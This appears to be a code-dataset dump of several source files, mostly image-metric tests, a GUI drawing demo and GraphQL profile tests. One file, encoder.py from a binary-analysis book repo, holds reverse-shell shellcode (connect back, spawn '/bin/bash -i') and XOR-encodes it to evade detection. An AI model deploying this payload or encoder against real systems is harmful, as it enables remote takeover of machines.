hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
106ae37c43676469895062025e120357cfafbb13
2,890
py
Python
tests/test_psnr.py
cnstark/iqa-torch
d8a1045c118a8370aed381f5322903fd45be6727
[ "Apache-2.0" ]
1
2022-03-29T06:04:30.000Z
2022-03-29T06:04:30.000Z
tests/test_psnr.py
cnstark/iqa-torch
d8a1045c118a8370aed381f5322903fd45be6727
[ "Apache-2.0" ]
null
null
null
tests/test_psnr.py
cnstark/iqa-torch
d8a1045c118a8370aed381f5322903fd45be6727
[ "Apache-2.0" ]
1
2022-02-05T03:18:43.000Z
2022-02-05T03:18:43.000Z
import os import sys import unittest sys.path.append(os.getcwd()) import numpy as np import torch from iqa import psnr from libs.basicsr_psnr_ssim import calculate_psnr IMAGE_SHAPES = ( ('CHW', (3, 128, 128)), ('CHW', (1, 128, 128)), ('HWC', (128, 128, 3)), ('HWC', (128, 128, 1)), ) class PSNRTestCase(unittest.TestCase): def test_psnr_rgb_float32(self): for order, shape in IMAGE_SHAPES: with self.subTest(order=order, shape=shape): img1_np = np.random.rand(*shape).astype(np.float32) img2_np = np.random.rand(*shape).astype(np.float32) img1_torch = torch.from_numpy(img1_np) img2_torch = torch.from_numpy(img2_np) psnr_bsr = calculate_psnr(img1_np * 255., img2_np * 255., 4, order) psnr_iqa = psnr(img1_torch, img2_torch, 4, input_order=order) self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5) def test_psnr_rgb_uint8(self): for order, shape in IMAGE_SHAPES: with self.subTest(order=order, shape=shape): img1_np = (np.random.rand(*shape) * 255.).astype(np.uint8) img2_np = (np.random.rand(*shape) * 255.).astype(np.uint8) img1_torch = torch.from_numpy(img1_np) img2_torch = torch.from_numpy(img2_np) psnr_bsr = calculate_psnr(img1_np, img2_np, 4, order) psnr_iqa = psnr(img1_torch, img2_torch, 4, input_order=order) self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5) def test_psnr_y_float32(self): for order, shape in IMAGE_SHAPES: with self.subTest(order=order, shape=shape): img1_np = np.random.rand(*shape).astype(np.float32) img2_np = np.random.rand(*shape).astype(np.float32) img1_torch = torch.from_numpy(img1_np) img2_torch = torch.from_numpy(img2_np) psnr_bsr = calculate_psnr(img1_np * 255., img2_np * 255., 4, order, True) psnr_iqa = psnr(img1_torch, img2_torch, 4, test_y_channel=True, input_order=order) self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5) def test_psnr_y_uint8(self): for order, shape in IMAGE_SHAPES: with self.subTest(order=order, shape=shape): img1_np = (np.random.rand(*shape) * 255.).astype(np.uint8) img2_np = (np.random.rand(*shape) * 255.).astype(np.uint8) img1_torch = torch.from_numpy(img1_np) img2_torch = torch.from_numpy(img2_np) psnr_bsr = calculate_psnr(img1_np, img2_np, 4, order, True) psnr_iqa = psnr(img1_torch, img2_torch, 4, test_y_channel=True, input_order=order) self.assertLess(psnr_bsr - psnr_iqa.item(), 1e-5) if __name__ == '__main__': unittest.main()
38.026316
98
0.604498
398
2,890
4.128141
0.148241
0.043822
0.048691
0.068168
0.841753
0.841753
0.841753
0.841753
0.841753
0.841753
0
0.060345
0.277509
2,890
75
99
38.533333
0.726533
0
0
0.561404
0
0
0.00692
0
0
0
0
0
0.070175
1
0.070175
false
0
0.122807
0
0.210526
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
10722e17d24f116f3dc6a0628be768c422689796
100
py
Python
python.py
MikeWazowski16/Test-Repo
a64a01d391686427d858f6bb9e597f0eae346071
[ "MIT" ]
1
2020-10-07T18:26:53.000Z
2020-10-07T18:26:53.000Z
python.py
MikeWazowski16/Test-Repo
a64a01d391686427d858f6bb9e597f0eae346071
[ "MIT" ]
1
2021-09-30T17:08:55.000Z
2021-09-30T17:08:55.000Z
python.py
MikeWazowski16/Test-Repo
a64a01d391686427d858f6bb9e597f0eae346071
[ "MIT" ]
5
2020-10-07T17:16:26.000Z
2021-09-30T17:03:13.000Z
def nothing(a, b): if a<b: print("nothing") elif a>b: print("nothing") else: print("nothing")
20
28
0.62
17
100
3.647059
0.470588
0.096774
0.225806
0.451613
0
0
0
0
0
0
0
0
0.17
100
4
29
25
0.746988
0
0
0
0
0
0.21
0
0
0
0
0
0
1
0.25
false
0
0
0
0.25
0.75
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
1
0
6
10898d03f604baefdfaf0d5e42e756784bda0aae
198
py
Python
strongr/secretsdomain/handler/__init__.py
bigr-erasmusmc/StrongR
48573e170771a251f629f2d13dba7173f010a38c
[ "Apache-2.0" ]
null
null
null
strongr/secretsdomain/handler/__init__.py
bigr-erasmusmc/StrongR
48573e170771a251f629f2d13dba7173f010a38c
[ "Apache-2.0" ]
null
null
null
strongr/secretsdomain/handler/__init__.py
bigr-erasmusmc/StrongR
48573e170771a251f629f2d13dba7173f010a38c
[ "Apache-2.0" ]
null
null
null
from .addsecrethandler import AddSecretHandler from .getsecrethandler import GetSecretHandler from .removesecrethandler import RemoveSecretHandler from .listsecretshandler import ListSecretsHandler
39.6
52
0.89899
16
198
11.125
0.375
0
0
0
0
0
0
0
0
0
0
0
0.080808
198
4
53
49.5
0.978022
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
52a7760edb918c59bb8069cde40ba9b57c10bde7
29
py
Python
mesoscope/commands/__init__.py
sofroniewn/Mesoscope
b4a7262713f82dd8883c84a6101cf114b149c28a
[ "MIT" ]
2
2016-08-02T20:09:45.000Z
2018-12-21T16:32:21.000Z
mesoscope/commands/__init__.py
sofroniewn/Mesoscope
b4a7262713f82dd8883c84a6101cf114b149c28a
[ "MIT" ]
3
2016-08-06T20:37:36.000Z
2016-12-04T23:51:32.000Z
mesoscope/commands/__init__.py
sofroniewn/Mesoscope
b4a7262713f82dd8883c84a6101cf114b149c28a
[ "MIT" ]
2
2016-08-06T21:07:55.000Z
2018-02-02T19:03:40.000Z
from .convert import convert
14.5
28
0.827586
4
29
6
0.75
0
0
0
0
0
0
0
0
0
0
0
0.137931
29
1
29
29
0.96
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
ead5d2f15c864a79601ffa9498b2395af95c7bdb
15,971
py
Python
pysimplegui/DemoPrograms/Demo_Graph_Drawing_And_Dragging_Figures.py
konsan1101/py-etc
bcca13119b0d2453866988404fd1c4976f55d4d5
[ "MIT" ]
null
null
null
pysimplegui/DemoPrograms/Demo_Graph_Drawing_And_Dragging_Figures.py
konsan1101/py-etc
bcca13119b0d2453866988404fd1c4976f55d4d5
[ "MIT" ]
2
2020-06-06T00:30:56.000Z
2021-06-10T22:30:37.000Z
pysimplegui/DemoPrograms/Demo_Graph_Drawing_And_Dragging_Figures.py
konsan1101/py-etc
bcca13119b0d2453866988404fd1c4976f55d4d5
[ "MIT" ]
null
null
null
import PySimpleGUI as sg from PIL import ImageGrab """ Demo - Drawing and moving demo This demo shows how to use a Graph Element to (optionally) display an image and then use the mouse to "drag" and draw rectangles and circles. """ def save_element_as_file(element, filename): """ Saves any element as an image file. Element needs to have an underlyiong Widget available (almost if not all of them do) :param element: The element to save :param filename: The filename to save to. The extension of the filename determines the format (jpg, png, gif, ?) """ widget = element.Widget box = (widget.winfo_rootx(), widget.winfo_rooty(), widget.winfo_rootx() + widget.winfo_width(), widget.winfo_rooty() + widget.winfo_height()) grab = ImageGrab.grab(bbox=box) grab.save(filename) def main(): sg.theme('Dark Blue 3') col = [[sg.T('Choose what clicking a figure does', enable_events=True)], [sg.R('Draw Rectangles', 1, key='-RECT-', enable_events=True)], [sg.R('Draw Circle', 1, key='-CIRCLE-', enable_events=True)], [sg.R('Draw Line', 1, key='-LINE-', enable_events=True)], [sg.R('Draw point', 1, key='-POINT-', enable_events=True)], [sg.R('Erase item', 1, key='-ERASE-', enable_events=True)], [sg.R('Erase all', 1, key='-CLEAR-', enable_events=True)], [sg.R('Send to back', 1, key='-BACK-', enable_events=True)], [sg.R('Bring to front', 1, key='-FRONT-', enable_events=True)], [sg.R('Move Everything', 1, key='-MOVEALL-', enable_events=True)], [sg.R('Move Stuff', 1, True, key='-MOVE-', enable_events=True)], [sg.B('Save Image', key='-SAVE-')], ] layout = [[sg.Graph( canvas_size=(400, 400), graph_bottom_left=(0, 0), graph_top_right=(400, 400), key="-GRAPH-", change_submits=True, # mouse click events background_color='lightblue', drag_submits=True), sg.Col(col) ], [sg.Text(key='info', size=(60, 1))]] window = sg.Window("Drawing and Moving Stuff Around", layout, finalize=True) # get the graph element for ease of use later graph = window["-GRAPH-"] # type: sg.Graph graph.draw_image(data=logo200, location=(0,400)) dragging = False start_point = end_point = prior_rect = None graph.bind('<Button-3>', '+RIGHT+') while True: event, values = window.read() if event is None: break # exit if event in ('-MOVE-', '-MOVEALL-'): graph.Widget.config(cursor='fleur') # graph.set_cursor(cursor='fleur') # not yet released method... coming soon! elif not event.startswith('-GRAPH-'): # graph.set_cursor(cursor='left_ptr') # not yet released method... coming soon! graph.Widget.config(cursor='left_ptr') if event == "-GRAPH-": # if there's a "Graph" event, then it's a mouse x, y = values["-GRAPH-"] if not dragging: start_point = (x, y) dragging = True drag_figures = graph.get_figures_at_location((x,y)) lastxy = x, y else: end_point = (x, y) if prior_rect: graph.delete_figure(prior_rect) delta_x, delta_y = x - lastxy[0], y - lastxy[1] lastxy = x,y if None not in (start_point, end_point): if values['-MOVE-']: for fig in drag_figures: graph.move_figure(fig, delta_x, delta_y) graph.update() elif values['-RECT-']: prior_rect = graph.draw_rectangle(start_point, end_point,fill_color='green', line_color='red') elif values['-CIRCLE-']: prior_rect = graph.draw_circle(start_point, end_point[0]-start_point[0], fill_color='red', line_color='green') elif values['-LINE-']: prior_rect = graph.draw_line(start_point, end_point, width=4) elif values['-POINT-']: prior_rect = graph.draw_point(start_point, size=1) elif values['-ERASE-']: for figure in drag_figures: graph.delete_figure(figure) elif values['-CLEAR-']: graph.erase() elif values['-MOVEALL-']: graph.move(delta_x, delta_y) elif values['-FRONT-']: for fig in drag_figures: graph.bring_figure_to_front(fig) elif values['-BACK-']: for fig in drag_figures: graph.send_figure_to_back(fig) elif event.endswith('+UP'): # The drawing has ended because mouse up info = window["info"] info.update(value=f"grabbed rectangle from {start_point} to {end_point}") start_point, end_point = None, None # enable grabbing a new rect dragging = False prior_rect = None elif event == '-SAVE-': # filename = sg.popup_get_file('Choose file (PNG, JPG, GIF) to save to', save_as=True) filename=r'test.jpg' save_element_as_file(window['-GRAPH-'], filename) window.close() logo200 = b'iVBORw0KGgoAAAANSUhEUgAAAMgAAACVCAYAAAAdSLW3AAAACXBIWXMAABcRAAAXEQHKJvM/AAAenklEQVR42u2deXxM1/vHn3OXWTOTTPZVhAgRUWIPvhS11q50UYoqqpYudPm2uv9ain6rlG5o0UYtLVW6WVpC1S4RW0hkTyQzk9mXu/z+yGIymUlSJaF93l73ZXKXMzfnnM99zvOc554QURQBQRDPUFgFCIICQRAUCIKgQBAEBYIgKBAEQYEgCAoEQVAgCIICQRAEBYIgKBAEQYEgCAoEQVAgCIICQRAUCIKgQBAEBYIgKBAEQVAgCIICQRAUCIKgQBAEBYIgKBAEQYEgCAoEQVAgCIKgQBAEBYIgKBAEQYEgCAoEQVAgCIICQRAUCIKgQBAEBYIgCAoEQVAgCIICQRAUCII0NQxWQePg5AU6p6S8WX6pISRArTDEhvt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wtb828ThDU1Fir8Ba+JfJhCLg5fMTzm35kyeYQAAgNUpyM123t9XzhRP7B6xDpsA+VcLxGzn5Wn5xm4FenuU6zh/YELQVy2DlDn/xkoP9JGUEgDBX8HiUkN3OI3ig6TlGdtml1kSXXZxPWP9f/q3Dq9sToHZf7F0UPMAxaX4MB/8G4L/doEgyN0KLj2KICgQBEGBIAgKBEFQIAiCAkEQFAiCoEAQBAWCICgQBEFQIAiCAkEQFAiCoEAQBAWCICgQBEGBIAgKBEFQIAiCAkEQBAWCICgQBEGBIAgKBEFQIAiCAkEQFAiCoEAQBAWCIAgKBEFQIAjyN/l/SQUZ4jt6Q7IAAAAASUVORK5CYII=' main()
126.753968
10,569
0.827688
1,024
15,971
12.81543
0.507813
0.005487
0.013412
0.015088
0.033681
0.024232
0
0
0
0
0
0.120087
0.104752
15,971
126
10,570
126.753968
0.797734
0.044894
0
0.072917
0
0.010417
0.737938
0.702469
0
1
0.0002
0
0
1
0.020833
false
0
0.020833
0
0.041667
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
6
eadc96b3a216151e315801c55ae9b4a1eb767edb
878
py
Python
Chapter-09/src/encoder.py
fengjixuchui/Binary-Analysis-Cookbook
ea5f5be1a6a704e181782deb28f442fd53cb3764
[ "MIT" ]
26
2019-04-20T02:58:37.000Z
2022-02-25T04:29:33.000Z
Chapter-09/src/encoder.py
fengjixuchui/Binary-Analysis-Cookbook
ea5f5be1a6a704e181782deb28f442fd53cb3764
[ "MIT" ]
null
null
null
Chapter-09/src/encoder.py
fengjixuchui/Binary-Analysis-Cookbook
ea5f5be1a6a704e181782deb28f442fd53cb3764
[ "MIT" ]
15
2019-05-28T11:55:46.000Z
2022-03-04T23:24:38.000Z
#!/usr/bin/env python import sys shellcode = bytearray("\x48\x31\xc0\xb0\x29\x48\x31\xff\x40\x80\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x66\xc7\x44\x24\xfa\x7a\x69\x89\x44\x24\xf6\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x31\xc0\xb0\x2a\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\xb0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x31\xdb\x48\xbb\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x53\x48\xbb\x2f\x2f\x2f\x2f\x2f\x62\x69\x6e\x53\x48\x89\xe7\x50\x66\x68\x2d\x69\x48\x89\xe6\x50\x56\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05") encodedShellcode = "" for i in shellcode: xorEncoded = i^0xff encodedShellcode += "0x%02x," % xorEncoded print 'Encoded shellcode: %s' % encodedShellcode sys.exit(0)
58.533333
669
0.738041
189
878
3.428571
0.37037
0.12963
0.097222
0.092593
0.296296
0.282407
0.226852
0.226852
0.115741
0.115741
0
0.303571
0.04328
878
14
670
62.714286
0.467857
0.022779
0
0
0
0.125
0.784131
0.751459
0
1
0.004667
0
0
0
null
null
0
0.125
null
null
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
1
1
null
1
0
0
0
1
0
0
0
0
0
0
0
0
6
d802d3de9a9300e9acd01f1a0a9dd3e857b0a220
126
py
Python
mmdet/ops/psroi_pooling/__init__.py
tf2cvtk/mmdetection
da6768e8543f06bbdda85425f6879d42594d48b0
[ "Apache-2.0" ]
null
null
null
mmdet/ops/psroi_pooling/__init__.py
tf2cvtk/mmdetection
da6768e8543f06bbdda85425f6879d42594d48b0
[ "Apache-2.0" ]
null
null
null
mmdet/ops/psroi_pooling/__init__.py
tf2cvtk/mmdetection
da6768e8543f06bbdda85425f6879d42594d48b0
[ "Apache-2.0" ]
null
null
null
from .functions.psroi_pool import psroi_pool from .modules.psroi_pool import PSRoIPool __all__ = ['psroi_pool', 'PSRoIPool']
25.2
44
0.801587
17
126
5.470588
0.470588
0.387097
0.322581
0
0
0
0
0
0
0
0
0
0.103175
126
4
45
31.5
0.823009
0
0
0
0
0
0.150794
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
6
d83986d371d89f3d7539c6dac32f841ab45c0ea9
51,436
py
Python
youths/tests/test_graphql_mutations.py
City-of-Helsinki/youth-membership
36f5324fa7444753d49fb476e71b09cc6e842dc2
[ "MIT" ]
null
null
null
youths/tests/test_graphql_mutations.py
City-of-Helsinki/youth-membership
36f5324fa7444753d49fb476e71b09cc6e842dc2
[ "MIT" ]
31
2020-07-02T11:26:39.000Z
2022-03-12T00:50:49.000Z
youths/tests/test_graphql_mutations.py
City-of-Helsinki/youth-membership
36f5324fa7444753d49fb476e71b09cc6e842dc2
[ "MIT" ]
null
null
null
import json from datetime import date, datetime, timedelta from string import Template from unittest.mock import ANY import pytest from django.utils import timezone from freezegun import freeze_time from graphql_relay.node.node import from_global_id, to_global_id from common_utils.consts import PERMISSION_DENIED_ERROR, PROFILE_DOES_NOT_EXIST_ERROR from common_utils.profile import ProfileAPI from youths.consts import ( APPROVER_EMAIL_CANNOT_BE_EMPTY_FOR_MINORS_ERROR, CANNOT_CREATE_YOUTH_PROFILE_IF_UNDER_13_YEARS_OLD_ERROR, CANNOT_RENEW_YOUTH_PROFILE_ERROR, CANNOT_SET_PHOTO_USAGE_PERMISSION_IF_UNDER_15_YEARS_ERROR, ) from youths.enums import MembershipStatus, YouthLanguage from youths.models import YouthProfile from youths.tests.factories import ( ProfileAPITokenResponse, RestrictedProfileAPIResponse, YouthProfileFactory, ) def test_normal_user_can_create_youth_profile_mutation( rf, user_gql_client, mocker, my_profile_api_response, token_response ): mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) mocker.patch.object( ProfileAPI, "create_temporary_access_token", return_value=token_response ) mocked_notification = mocker.patch("youths.models.send_notification") profile_id = from_global_id(my_profile_api_response["id"])[1] request = rf.post("/graphql") request.user = user_gql_client.user t = Template( """ mutation{ createMyYouthProfile( input: { youthProfile: { schoolClass: "${schoolClass}" schoolName: "${schoolName}" languageAtHome: ${language} approverEmail: "${approverEmail}" birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { id schoolClass schoolName approverEmail birthDate } } } """ ) creation_data = { "schoolClass": "2A", "schoolName": "Alakoulu", "approverEmail": "hyvaksyja@example.com", "language": YouthLanguage.FINNISH.name, "birthDate": "2004-04-11", } query = t.substitute(**creation_data) expected_data = { "youthProfile": { # id is fetched from Profile API "id": to_global_id(type="YouthProfileNode", id=profile_id), "schoolClass": creation_data["schoolClass"], "schoolName": creation_data["schoolName"], "approverEmail": creation_data["approverEmail"], "birthDate": creation_data["birthDate"], } } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["createMyYouthProfile"]) == expected_data mocked_notification.assert_called_once() assert mocked_notification.call_args.kwargs["context"] == { "youth_profile": YouthProfile.objects.get(pk=profile_id), "youth_name": my_profile_api_response["first_name"], "youth_membership_ui_base_url": ANY, } @pytest.mark.parametrize("minor", [True, False]) def test_profile_access_token_is_saved_for_minors_when_using_create_my_youth_profile( rf, user_gql_client, mocker, my_profile_api_response, token_response, minor ): """Temporary profile access token can be used later when access to profile information is needed e.g. when unauthenticated parent approves the youth membership.""" mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) mocker.patch.object( ProfileAPI, "create_temporary_access_token", return_value=token_response ) profile_id = from_global_id(my_profile_api_response["id"])[1] today = date.today() request = rf.post("/graphql") request.user = user_gql_client.user t = Template( """ mutation { createMyYouthProfile ( input: { youthProfile: { schoolClass: "${schoolClass}" schoolName: "${schoolName}" languageAtHome: ${language} approverEmail: "${approverEmail}" birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { id } } } """ ) if minor: birth_date = today.replace(year=today.year - 13) else: birth_date = today.replace(year=today.year - 19) creation_data = { "schoolClass": "2A", "schoolName": "Alakoulu", "approverEmail": "hyvaksyja@example.com", "language": YouthLanguage.FINNISH.name, "birthDate": birth_date.isoformat(), } query = t.substitute(**creation_data) user_gql_client.execute(query, context=request) youth_profile = YouthProfile.objects.get(pk=profile_id) if minor: assert youth_profile.profile_access_token == token_response["token"] assert ( youth_profile.profile_access_token_expiration == token_response["expires_at"] ) else: assert youth_profile.profile_access_token == "" assert youth_profile.profile_access_token_expiration is None def test_normal_user_over_18_years_old_can_create_approved_youth_profile_mutation( rf, user_gql_client, mocker, my_profile_api_response, token_response ): mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) mocker.patch.object( ProfileAPI, "create_temporary_access_token", return_value=token_response ) profile_id = from_global_id(my_profile_api_response["id"])[1] request = rf.post("/graphql") request.user = user_gql_client.user today = date.today() t = Template( """ mutation{ createMyYouthProfile( input: { youthProfile: { schoolClass: "${schoolClass}" schoolName: "${schoolName}" birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { id schoolClass schoolName birthDate membershipStatus } } } """ ) birth_date = today.replace(year=today.year - 18) - timedelta(days=1) creation_data = { "schoolClass": "2A", "schoolName": "Alakoulu", "birthDate": birth_date.strftime("%Y-%m-%d"), } query = t.substitute(**creation_data) expected_data = { "youthProfile": { "id": to_global_id(type="YouthProfileNode", id=profile_id), "schoolClass": creation_data["schoolClass"], "schoolName": creation_data["schoolName"], "birthDate": creation_data["birthDate"], "membershipStatus": "ACTIVE", } } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["createMyYouthProfile"]) == expected_data def test_user_cannot_create_youth_profile_without_approver_email_field_if_under_18_years_old( rf, user_gql_client, mocker, my_profile_api_response ): mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) request = rf.post("/graphql") request.user = user_gql_client.user today = date.today() t = Template( """ mutation{ createMyYouthProfile( input: { youthProfile: { birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { birthDate } } } """ ) birth_date = today.replace(year=today.year - 18) + timedelta(days=1) creation_data = { "birthDate": birth_date.strftime("%Y-%m-%d"), } query = t.substitute(**creation_data) executed = user_gql_client.execute(query, context=request) assert "errors" in executed assert ( executed["errors"][0]["extensions"]["code"] == APPROVER_EMAIL_CANNOT_BE_EMPTY_FOR_MINORS_ERROR ) def test_user_cannot_create_youth_profile_if_under_13_years_old(rf, user_gql_client): request = rf.post("/graphql") request.user = user_gql_client.user today = date.today() t = Template( """ mutation{ createMyYouthProfile( input: { youthProfile: { schoolClass: "${schoolClass}" schoolName: "${schoolName}" languageAtHome: ${language} approverEmail: "${approverEmail}" birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { schoolClass schoolName approverEmail birthDate } } } """ ) birth_date = today.replace(year=today.year - 13) + timedelta(days=1) creation_data = { "schoolClass": "2A", "schoolName": "Alakoulu", "approverEmail": "hyvaksyja@ex.com", "language": YouthLanguage.FINNISH.name, "birthDate": birth_date.strftime("%Y-%m-%d"), } query = t.substitute(**creation_data) executed = user_gql_client.execute(query, context=request) assert "errors" in executed assert ( executed["errors"][0]["extensions"]["code"] == CANNOT_CREATE_YOUTH_PROFILE_IF_UNDER_13_YEARS_OLD_ERROR ) def test_user_can_create_youth_profile_with_photo_usage_field_if_over_15_years_old( rf, user_gql_client, mocker, my_profile_api_response, token_response ): mocker.patch.object( ProfileAPI, "fetch_my_profile", return_value=my_profile_api_response ) mocker.patch.object( ProfileAPI, "create_temporary_access_token", return_value=token_response ) profile_id = from_global_id(my_profile_api_response["id"])[1] request = rf.post("/graphql") request.user = user_gql_client.user today = date.today() t = Template( """ mutation{ createMyYouthProfile( input: { youthProfile: { photoUsageApproved: ${photoUsageApproved} approverEmail: "${approverEmail}" birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { id photoUsageApproved approverEmail birthDate } } } """ ) birth_date = today.replace(year=today.year - 15) - timedelta(days=1) creation_data = { "approverEmail": "hyvaksyja@ex.com", "photoUsageApproved": "true", "birthDate": birth_date.strftime("%Y-%m-%d"), } query = t.substitute(**creation_data) expected_data = { "youthProfile": { "id": to_global_id(type="YouthProfileNode", id=profile_id), "photoUsageApproved": True, "approverEmail": creation_data["approverEmail"], "birthDate": creation_data["birthDate"], } } executed = user_gql_client.execute(query, context=request) assert dict(executed["data"]["createMyYouthProfile"]) == expected_data def test_user_cannot_create_youth_profile_with_photo_usage_field_if_under_15_years_old( rf, user_gql_client ): request = rf.post("/graphql") request.user = user_gql_client.user today = date.today() t = Template( """ mutation{ createMyYouthProfile( input: { youthProfile: { photoUsageApproved: ${photoUsageApproved} approverEmail: "${approverEmail}" birthDate: "${birthDate}" } profileApiToken: "token" } ) { youthProfile { photoUsageApproved approverEmail birthDate } } } """ ) birth_date = today.replace(year=today.year - 15) + timedelta(days=1) creation_data = { "approverEmail": "hyvaksyja@ex.com", "photoUsageApproved": "true", "birthDate": birth_date.strftime("%Y-%m-%d"), } query = t.substitute(**creation_data) executed = user_gql_client.execute(query, context=request) assert 